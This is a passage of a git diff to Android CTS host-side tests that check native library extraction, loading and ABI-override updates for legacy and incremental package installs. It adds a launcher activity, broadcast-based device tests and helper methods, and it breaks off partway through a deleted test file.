     defaults: ["cts_defaults"],
     sdk_version: "current",
     srcs: ["app_extract/src/**/*.java"],
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/AndroidManifest.xml b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/AndroidManifest.xml
index 27214b8..a82412a 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/AndroidManifest.xml
@@ -15,13 +15,23 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.extractnativelibs.app.extract" >
-    <application android:extractNativeLibs="true" >
-        <uses-library android:name="android.test.runner" />
+          package="com.android.cts.extractnativelibs.app.extract">
+    <application android:extractNativeLibs="true">
+        <uses-library android:name="android.test.runner"/>
+        <!-- starting activity as a separate process, otherwise it'll always be 64-bit -->
+        <activity android:name=".MainActivity"
+                  android:exported="true"
+                  android:process=":NewProcess">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
     </application>
 
     <instrumentation
         android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.extractnativelibs.app.extract" />
+        android:targetPackage="com.android.cts.extractnativelibs.app.extract"/>
 
 </manifest>
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
index 28367b2..4755b10 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
@@ -16,6 +16,11 @@
 
 package com.android.cts.extractnativelibs.app.extract;
 
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -24,17 +29,49 @@
 import org.junit.runner.RunWith;
 
 import java.io.File;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /** Device test for extractNativeLibs=true */
 @RunWith(AndroidJUnit4.class)
 public class ExtractNativeLibsTrueDeviceTest {
+    private final Context mContext =  InstrumentationRegistry.getContext();
 
     /** Test that the native lib dir exists and has an native lib file extracted in it. */
     @Test
-    public void testNativeLibsExtracted() throws Exception {
-        File nativeLibDir = new File(
-                InstrumentationRegistry.getContext().getApplicationInfo().nativeLibraryDir);
+    public void testNativeLibsExtracted() {
+        final String expectedSubDirArg = "expectedSubDir";
+        String expectedSubDir = InstrumentationRegistry.getArguments()
+                .getString(expectedSubDirArg);
+        Assert.assertNotNull(expectedSubDir);
+        File nativeLibDir = new File(mContext.getApplicationInfo().nativeLibraryDir);
+        Assert.assertTrue(nativeLibDir.exists());
         Assert.assertTrue(nativeLibDir.isDirectory());
+        Assert.assertTrue(nativeLibDir.getAbsolutePath().endsWith(expectedSubDir));
         Assert.assertEquals(1, nativeLibDir.list().length);
     }
+
+    /** Test that the native lib is loaded when the activity is launched. */
+    @Test
+    public void testNativeLibsLoaded() throws Exception {
+        final CountDownLatch loaded = new CountDownLatch(1);
+        IntentFilter filter = new IntentFilter(mContext.getPackageName() + ".NativeLibLoaded");
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                loaded.countDown();
+            }
+        };
+        mContext.registerReceiver(receiver, filter);
+        launchActivity();
+        Assert.assertTrue("Native lib not loaded", loaded.await(
+                30, TimeUnit.SECONDS));
+    }
+
+    private void launchActivity() {
+        Intent launchIntent = mContext.getPackageManager().getLaunchIntentForPackage(
+                mContext.getPackageName());
+        Assert.assertNotNull(launchIntent);
+        mContext.startActivity(launchIntent);
+    }
 }
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/MainActivity.java b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/MainActivity.java
new file mode 100644
index 0000000..fbcc783
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/MainActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.extractnativelibs.app.extract;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Launch activity for test app
+ */
+public class MainActivity extends Activity {
+    static {
+        System.loadLibrary("test_extract_native_libs");
+    }
+
+    @Override
+    public void onCreate(Bundle savedOnstanceState) {
+        // The native lib should have been loaded already
+        Intent intent = new Intent(
+                getApplicationContext().getPackageName() + ".NativeLibLoaded");
+        sendBroadcast(intent);
+    }
+}
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/AndroidManifest.xml b/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/AndroidManifest.xml
index ee1f8f5..d5d1e04 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/AndroidManifest.xml
@@ -15,12 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.extractnativelibs.app.noextract" >
-    <application android:extractNativeLibs="false" >
-      <uses-library android:name="android.test.runner" />
+          package="com.android.cts.extractnativelibs.app.noextract">
+    <application android:extractNativeLibs="false">
+        <uses-library android:name="android.test.runner"/>
+        <!-- starting activity as a separate process, otherwise it'll always be 64-bit -->
+        <activity android:name=".MainActivity"
+                  android:exported="true"
+                  android:process=":NewProcess">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
     </application>
 
     <instrumentation
         android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.extractnativelibs.app.noextract" />
+        android:targetPackage="com.android.cts.extractnativelibs.app.noextract"/>
 </manifest>
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/ExtractNativeLibsFalseDeviceTest.java b/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/ExtractNativeLibsFalseDeviceTest.java
index a02c327..77a93b4 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/ExtractNativeLibsFalseDeviceTest.java
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/ExtractNativeLibsFalseDeviceTest.java
@@ -16,6 +16,11 @@
 
 package com.android.cts.extractnativelibs.app.noextract;
 
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -24,17 +29,44 @@
 import org.junit.runner.RunWith;
 
 import java.io.File;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /** Device test for extractNativeLibs=false */
 @RunWith(AndroidJUnit4.class)
 public class ExtractNativeLibsFalseDeviceTest {
+    private final Context mContext =  InstrumentationRegistry.getContext();
 
     /** Test that the native lib dir exists but has no native lib file in it. */
     @Test
-    public void testNativeLibsNotExtracted() throws Exception {
+    public void testNativeLibsNotExtracted() {
         File nativeLibDir = new File(
                 InstrumentationRegistry.getContext().getApplicationInfo().nativeLibraryDir);
         Assert.assertTrue(nativeLibDir.isDirectory());
         Assert.assertEquals(0, nativeLibDir.list().length);
     }
+
+    /** Test that the native lib is loaded when the activity is launched. */
+    @Test
+    public void testNativeLibsLoaded() throws Exception {
+        final CountDownLatch loaded = new CountDownLatch(1);
+        IntentFilter filter = new IntentFilter(mContext.getPackageName() + ".NativeLibLoaded");
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                loaded.countDown();
+            }
+        };
+        mContext.registerReceiver(receiver, filter);
+        launchActivity();
+        Assert.assertTrue("Native lib not loaded", loaded.await(
+                30, TimeUnit.SECONDS));
+    }
+
+    private void launchActivity() {
+        Intent launchIntent = mContext.getPackageManager().getLaunchIntentForPackage(
+                mContext.getPackageName());
+        Assert.assertNotNull(launchIntent);
+        mContext.startActivity(launchIntent);
+    }
 }
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/MainActivity.java b/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/MainActivity.java
new file mode 100644
index 0000000..9200260
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/MainActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.extractnativelibs.app.noextract;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Launch activity for test app
+ */
+public class MainActivity extends Activity {
+    static {
+        System.loadLibrary("test_extract_native_libs");
+    }
+
+    @Override
+    public void onCreate(Bundle savedOnstanceState) {
+        // The native lib should have been loaded already
+        Intent intent = new Intent(
+                getApplicationContext().getPackageName() + ".NativeLibLoaded");
+        sendBroadcast(intent);
+    }
+}
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/jni/native.cpp b/hostsidetests/packagemanager/extractnativelibs/apps/jni/native.cpp
index 52876f5..f925c5856 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/jni/native.cpp
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/jni/native.cpp
@@ -16,10 +16,14 @@
 
 #include <jni.h>
 
+#include <android/log.h>
+#define LOG(...) __android_log_write(ANDROID_LOG_INFO, "NativeLibOutput", __VA_ARGS__)
+
 jint JNI_OnLoad(JavaVM *vm, void *reserved) {
     JNIEnv* env = nullptr;
     if (vm->GetEnv((void**)&env, JNI_VERSION_1_6) != JNI_OK) {
         return JNI_ERR;
     }
+    LOG("libtest_extract_native_libs is loaded");
     return JNI_VERSION_1_6;
 }
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java
new file mode 100644
index 0000000..3e33b43
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.extractnativelibs.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.util.AbiUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Optional;
+import java.util.Set;
+
+/**
+ * Host test to update test apps with different ABIs.
+ */
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class CtsExtractNativeLibsHostTestAbiOverride extends CtsExtractNativeLibsHostTestBase {
+    @Parameter(0)
+    public boolean mIsExtractNativeLibs;
+
+    @Parameter(1)
+    public boolean mIsIncremental;
+
+    @Parameter(2)
+    public String mFirstAbi;
+
+    @Parameter(3)
+    public String mSecondAbi;
+
+    @Override
+    public void setUp() throws Exception {
+        final String deviceAbi = getDeviceAbi();
+        // Only run these tests if device supports both 32-bit and 64-bit
+        assumeTrue(AbiUtils.getBitness(deviceAbi).equals("64"));
+        // Only run these tests for supported ABIs
+        assumeTrue(AbiUtils.getBaseArchForAbi(deviceAbi).equals(
+                AbiUtils.getBaseArchForAbi(mFirstAbi)));
+        if (mIsIncremental) {
+            // Skip incremental installations for non-incremental devices
+            assumeTrue(isIncrementalInstallSupported());
+        }
+        super.setUp();
+    }
+
+    /**
+     * Generate parameters for mutations of extract/embedded, incremental/legacy,
+     * and apps of an abi override updating to another abi override
+     */
+    @Parameterized.Parameters(name = "{index}: Test with mIsExtractNativeLibs={0}, "
+            + "mIsIncremental={1}, mFirstAbi={2}, mSecondAbi={3}")
+    public static Collection<Object[]> data() {
+        final boolean[] isExtractNativeLibsParams = new boolean[]{false, true};
+        final boolean[] isIncrementalParams = new boolean[]{false, true};
+        // We don't know the supported ABIs ahead of the time, here we enumerate all possible ones
+        // and filter unsupported ones during tests
+        final Set<String> supportedAbis = AbiUtils.getAbisSupportedByCompatibility();
+        ArrayList<Object[]> params = new ArrayList<>();
+        for (boolean isExtractNativeLibs : isExtractNativeLibsParams) {
+            for (boolean isIncremental : isIncrementalParams) {
+                for (String firstAbi : supportedAbis) {
+                    for (String secondAbi : supportedAbis) {
+                        if (!firstAbi.equals(secondAbi)
+                                && AbiUtils.getBaseArchForAbi(firstAbi).equals(
+                                        AbiUtils.getBaseArchForAbi(secondAbi))) {
+                            params.add(new Object[]{isExtractNativeLibs, isIncremental,
+                                    firstAbi, secondAbi});
+                        }
+                    }
+                    params.add(new Object[]{isExtractNativeLibs, isIncremental,
+                            firstAbi, "-"});
+                }
+            }
+        }
+        return params;
+    }
+
+    /**
+     * Test update installs with abi override and runs. Verify native lib dir layout.
+     */
+    @Test
+    @AppModeFull
+    public void testAbiOverrideAndRunSuccess() throws Exception {
+        final String testPackageName = getTestPackageName(mIsExtractNativeLibs);
+        final String testClassName = getTestClassName(mIsExtractNativeLibs);
+        // First install with one abi override
+        installPackage(mIsIncremental, getTestApkName(mIsExtractNativeLibs, "Both"), mFirstAbi);
+        assertTrue(isPackageInstalled(testPackageName));
+        assertTrue(runDeviceTests(testPackageName, testClassName, TEST_NATIVE_LIB_LOADED_TEST));
+        assertEquals(mFirstAbi, getPackageAbi(testPackageName));
+        assertTrue(checkNativeLibDir(mIsExtractNativeLibs, AbiUtils.getBitness(mFirstAbi)));
+        // Then update with another abi override
+        installPackage(mIsIncremental, getTestApkName(mIsExtractNativeLibs, "Both"), mSecondAbi);
+        assertTrue(runDeviceTests(testPackageName, testClassName, TEST_NATIVE_LIB_LOADED_TEST));
+        final String expectedAbi;
+        if (mSecondAbi.equals("-")) {
+            expectedAbi = getExpectedLibAbi("Both");
+        } else {
+            expectedAbi = mSecondAbi;
+        }
+        assertEquals(expectedAbi, getPackageAbi(testPackageName));
+        assertTrue(checkNativeLibDir(mIsExtractNativeLibs, AbiUtils.getBitness(expectedAbi)));
+    }
+
+    private String getPackageAbi(String testPackageName) throws Exception {
+        String commandResult = getDevice().executeShellCommand("pm dump " + testPackageName);
+        Optional<String> maybePrimaryCpuAbiStr = Arrays.stream(commandResult.split("\\r?\\n"))
+                .filter(line -> line.contains("primaryCpuAbi"))
+                .findFirst();
+        assertTrue(maybePrimaryCpuAbiStr.isPresent());
+        return maybePrimaryCpuAbiStr.get().substring(maybePrimaryCpuAbiStr.get().indexOf("=") + 1);
+    }
+}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
index 9d9aa3b1..cd47637 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
@@ -15,7 +15,16 @@
  */
 package android.extractnativelibs.cts;
 
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.targetprep.BuildError;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.targetprep.suite.SuiteApkInstaller;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.FileUtil;
 
 import org.junit.After;
@@ -26,6 +35,9 @@
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
 
 /**
  * TODO(b/147496159): add more tests.
@@ -35,27 +47,27 @@
     static final String TEST_APK_RESOURCE_PREFIX = "/prebuilt/";
     static final String TEST_HOST_TMP_DIR_PREFIX = "cts_extract_native_libs_host_test";
 
-    static final String TEST_NO_EXTRACT_PKG =
-            "com.android.cts.extractnativelibs.app.noextract";
+    static final String TEST_APK_NAME_BASE = "CtsExtractNativeLibsApp";
+    static final String TEST_PKG_NAME_BASE = "com.android.cts.extractnativelibs.app";
+    static final String TEST_NO_EXTRACT_PKG = TEST_PKG_NAME_BASE + ".noextract";
     static final String TEST_NO_EXTRACT_CLASS =
             TEST_NO_EXTRACT_PKG + ".ExtractNativeLibsFalseDeviceTest";
     static final String TEST_NO_EXTRACT_TEST = "testNativeLibsNotExtracted";
-    static final String TEST_NO_EXTRACT_APK = "CtsExtractNativeLibsAppFalse.apk";
 
-    static final String TEST_EXTRACT_PKG =
-            "com.android.cts.extractnativelibs.app.extract";
+    static final String TEST_EXTRACT_PKG = TEST_PKG_NAME_BASE + ".extract";
     static final String TEST_EXTRACT_CLASS =
             TEST_EXTRACT_PKG + ".ExtractNativeLibsTrueDeviceTest";
     static final String TEST_EXTRACT_TEST = "testNativeLibsExtracted";
-    static final String TEST_EXTRACT_APK = "CtsExtractNativeLibsAppTrue.apk";
-    static final String TEST_NO_EXTRACT_MISALIGNED_APK =
-            "CtsExtractNativeLibsAppFalseWithMisalignedLib.apk";
+
+    static final String TEST_NATIVE_LIB_LOADED_TEST = "testNativeLibsLoaded";
+    static final String IDSIG_SUFFIX = ".idsig";
 
     /** Setup test dir. */
     @Before
     public void setUp() throws Exception {
         getDevice().executeShellCommand("mkdir " + TEST_REMOTE_DIR);
     }
+
     /** Uninstall apps after tests. */
     @After
     public void cleanUp() throws Exception {
@@ -64,8 +76,44 @@
         getDevice().executeShellCommand("rm -r " + TEST_REMOTE_DIR);
     }
 
-    File getFileFromResource(String filenameInResources)
-            throws Exception {
+    boolean isIncrementalInstallSupported() throws Exception {
+        return getDevice().hasFeature("android.software.incremental_delivery");
+    }
+
+    static String getTestApkName(boolean isExtractNativeLibs, String abiSuffix) {
+        return TEST_APK_NAME_BASE + (isExtractNativeLibs ? "True" : "False") + abiSuffix + ".apk";
+    }
+
+    static String getTestPackageName(boolean isExtractNativeLibs) {
+        return isExtractNativeLibs ? TEST_EXTRACT_PKG : TEST_NO_EXTRACT_PKG;
+    }
+
+    static String getTestClassName(boolean isExtractNativeLibs) {
+        return isExtractNativeLibs ? TEST_EXTRACT_CLASS : TEST_NO_EXTRACT_CLASS;
+    }
+
+    final void installPackage(boolean isIncremental, String apkName) throws Exception {
+        installPackage(isIncremental, apkName, "");
+    }
+
+    final void installPackage(boolean isIncremental, String apkName, String abi) throws Exception {
+        if (isIncremental) {
+            installPackageIncremental(apkName, abi);
+        } else {
+            installPackageLegacy(apkName, abi);
+        }
+    }
+
+    final boolean checkNativeLibDir(boolean isExtractNativeLibs, String abi) throws Exception {
+        if (isExtractNativeLibs) {
+            return checkExtractedNativeLibDirForAbi(abi);
+        } else {
+            return runDeviceTests(
+                    TEST_NO_EXTRACT_PKG, TEST_NO_EXTRACT_CLASS, TEST_NO_EXTRACT_TEST);
+        }
+    }
+
+    File getFileFromResource(String filenameInResources) throws Exception {
         String fullResourceName = TEST_APK_RESOURCE_PREFIX + filenameInResources;
         File tempDir = FileUtil.createTempDir(TEST_HOST_TMP_DIR_PREFIX);
         File file = new File(tempDir, filenameInResources);
@@ -83,4 +131,101 @@
         return file;
     }
 
+    private boolean runDeviceTestsWithArgs(String pkgName, String testClassName,
+            String testMethodName, Map<String, String> testArgs) throws Exception {
+        final String testRunner = "androidx.test.runner.AndroidJUnitRunner";
+        final long defaultTestTimeoutMs = 60 * 1000L;
+        final long defaultMaxTimeoutToOutputMs = 60 * 1000L; // 1min
+        return runDeviceTests(getDevice(), testRunner, pkgName, testClassName, testMethodName,
+                null, defaultTestTimeoutMs, defaultMaxTimeoutToOutputMs,
+                0L, true, false, testArgs);
+    }
+
+    private void installPackageLegacy(String apkFileName, String abi)
+            throws DeviceNotAvailableException, TargetSetupError {
+        SuiteApkInstaller installer = new SuiteApkInstaller();
+        installer.addTestFileName(apkFileName);
+        final String abiFlag = createAbiFlag(abi);
+        if (!abiFlag.isEmpty()) {
+            installer.addInstallArg(abiFlag);
+        }
+        try {
+            installer.setUp(getTestInformation());
+        } catch (BuildError e) {
+            throw new TargetSetupError(e.getMessage(), e, getDevice().getDeviceDescriptor());
+        }
+    }
+
+    private boolean checkExtractedNativeLibDirForAbi(String abiSuffix) throws Exception {
+        final String libAbi = getExpectedLibAbi(abiSuffix);
+        assertNotNull(libAbi);
+        final String expectedSubDirArg = "expectedSubDir";
+        final String expectedNativeLibSubDir = AbiUtils.getArchForAbi(libAbi);
+        final Map<String, String> testArgs = new HashMap<>();
+        testArgs.put(expectedSubDirArg, expectedNativeLibSubDir);
+        return runDeviceTestsWithArgs(TEST_EXTRACT_PKG, TEST_EXTRACT_CLASS, TEST_EXTRACT_TEST,
+                testArgs);
+    }
+
+    /** Given the abi included in the APK, predict which abi libs will be installed
+     * @param abiSuffix "64" means the APK contains only 64-bit native libs
+     *                  "32" means the APK contains only 32-bit native libs
+     *                  "Both" means the APK contains both 32-bit and 64-bit native libs
+     * @return an ABI string from AbiUtils.ABI_*
+     * @return an ABI string from AbiUtils.ABI_*
+     */
+    final String getExpectedLibAbi(String abiSuffix) throws Exception {
+        final String deviceAbi = getDeviceAbi();
+        final String deviceBitness = AbiUtils.getBitness(deviceAbi);
+        final String libBitness;
+        // Use 32-bit native libs if device only supports 32-bit or APK only has 32-libs native libs
+        if (abiSuffix.equals("32") || deviceBitness.equals("32")) {
+            libBitness = "32";
+        } else {
+            libBitness = "64";
+        }
+        final Set<String> libAbis = AbiUtils.getAbisForArch(AbiUtils.getBaseArchForAbi(deviceAbi));
+        for (String libAbi : libAbis) {
+            if (AbiUtils.getBitness(libAbi).equals(libBitness)) {
+                return libAbi;
+            }
+        }
+        return null;
+    }
+
+    final String getDeviceAbi() throws Exception {
+        return getDevice().getProperty("ro.product.cpu.abi");
+    }
+
+    private void installPackageIncremental(String apkName, String abi) throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        final File apk = buildHelper.getTestFile(apkName);
+        assertNotNull(apk);
+        final File v4Signature = buildHelper.getTestFile(apkName + IDSIG_SUFFIX);
+        assertNotNull(v4Signature);
+        installPackageIncrementalFromFiles(apk, v4Signature, abi);
+    }
+
+    private String installPackageIncrementalFromFiles(File apk, File v4Signature, String abi)
+            throws Exception {
+        final String remoteApkPath = TEST_REMOTE_DIR + "/" + apk.getName();
+        final String remoteIdsigPath = remoteApkPath + IDSIG_SUFFIX;
+        assertTrue(getDevice().pushFile(apk, remoteApkPath));
+        assertTrue(getDevice().pushFile(v4Signature, remoteIdsigPath));
+        return getDevice().executeShellCommand("pm install-incremental "
+                + createAbiFlag(abi)
+                + " -t -g " + remoteApkPath);
+    }
+
+    private String createAbiFlag(String abi) {
+        return abi.isEmpty() ? "" : ("--abi " + abi);
+    }
+
+    final String installIncrementalPackageFromResource(String apkFilenameInRes)
+            throws Exception {
+        final File apkFile = getFileFromResource(apkFilenameInRes);
+        final File v4SignatureFile = getFileFromResource(
+                apkFilenameInRes + IDSIG_SUFFIX);
+        return installPackageIncrementalFromFiles(apkFile, v4SignatureFile, "");
+    }
 }
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestFails.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestFails.java
new file mode 100644
index 0000000..f3d1946
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestFails.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.extractnativelibs.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test failure cases
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CtsExtractNativeLibsHostTestFails extends CtsExtractNativeLibsHostTestBase {
+    private static final String TEST_NO_EXTRACT_MISALIGNED_APK =
+            "CtsExtractNativeLibsAppFalseWithMisalignedLib.apk";
+
+    @Override
+    public void setUp() throws Exception {
+        // Skip incremental installations for non-incremental devices
+        assumeTrue(isIncrementalInstallSupported());
+        super.setUp();
+    }
+    /**
+     * Test with a app that has extractNativeLibs=false but with mis-aligned lib files,
+     * using Incremental install.
+     */
+    @Test
+    @AppModeFull
+    public void testExtractNativeLibsIncrementalFails() throws Exception {
+        String result = installIncrementalPackageFromResource(TEST_NO_EXTRACT_MISALIGNED_APK);
+        assertTrue(result.contains("Failed to extract native libraries"));
+        assertFalse(isPackageInstalled(TEST_NO_EXTRACT_PKG));
+    }
+}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestIncremental.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestIncremental.java
deleted file mode 100644
index 1fcf345..0000000
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestIncremental.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.extractnativelibs.cts;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeTrue;
-
-import android.platform.test.annotations.AppModeFull;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.File;
-
-/**
